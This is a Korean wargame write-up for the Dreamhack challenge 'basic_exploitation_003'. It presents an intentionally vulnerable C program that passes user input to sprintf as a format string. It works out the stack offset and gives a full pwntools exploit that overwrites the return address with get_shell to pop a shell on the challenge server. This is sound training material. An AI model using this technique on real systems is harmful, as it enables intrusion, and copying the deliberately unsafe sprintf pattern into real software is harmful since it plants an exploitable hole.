본문 바로가기

Dreamhack/Wargame

[Wargame] basic_exploitation_003

1. 실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

2. 코드 분석

  • sprintf함수를 이용하여, heap_buf의 출력 값이 stack_buf에 저장된다.
  • read함수로, heap_buf의 크기만큼 사용자에게 입력받아 온다.
  • heap_buf는 size가 0x80이고, stack_buf는 0x90이다.

3. 풀이

FSB취약점을 이용하여 BOF를 발생시키고, shell을 획득하는 문제이다.

 

  • read함수에 대한 코드만 우회하면, 크기가 지정되어 있지 않는 sprintf함수를 통해 BOF취약점을 발생시킬 수 있다.
  • "%[숫자]c"형식을 통해, read함수를 우회할 수 있다.
    • read함수에서는 입력값의 크기만 검증하기 때문에 우회가 가능하다.
    • [숫자] 부분에 stack_buf의 크기보다 많이 넣으면, sprintf함수 부분에서 실행됨으로써 stack_buf는 BOF가 발생하는 것이다.
    • [숫자] 부분에 'stack_buf의 크기 + SPF(4byte)'를 넣어주고, ret 위치에 get_shell함수 주소를 넣으면 shell을 획득할 수 있다.

 

 

(1) 디버깅을 통해, stack_buf의 size를 구한다.

  • stack_buf size + dummy + SFP(4byte) 크기
    • 0xfffe3cd0 (stack이 끝나는 주소)  - 0xfffe3c30 (stack이 시작하는 주소) - 0x4(RET) = 0x9c

 

 

(2) get_shell함수의 주소값을 구한다.

 

from pwn import *

p = process(b"./basic_exploitation_003")
e = ELF(b"./basic_exploitation_003")

get_shell_addr = e.symbols['get_shell'] #0x8048669
print("get_shell addr: ", hex(get_shell_addr))

 

 

(3) "%156c" + get_shell 주소값을 입력값에 넣어서, shell을 획득할 수 있다.

 

payload = b"%156c" #0x9c
payload += p32(get_shell_addr)

4. Exploit

from pwn import *

#p = process(b"./basic_exploitation_003")
p = remote(b"host3.dreamhack.games", 10259)
e = ELF(b"./basic_exploitation_003")

get_shell_addr = e.symbols['get_shell'] #0x8048669
print("get_shell addr: ", hex(get_shell_addr))

payload = b"%156c"
payload += p32(get_shell_addr)

p.send(payload)
p.interactive()

 

 

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] uaf_overwrite  (0) 2022.09.19
[Wargame] basic_exploitation_002  (0) 2022.08.15
[Wargame] out_of_bound  (0) 2022.08.10
[Wargame] hook  (0) 2022.07.22
[Wargame] oneshot  (0) 2022.07.19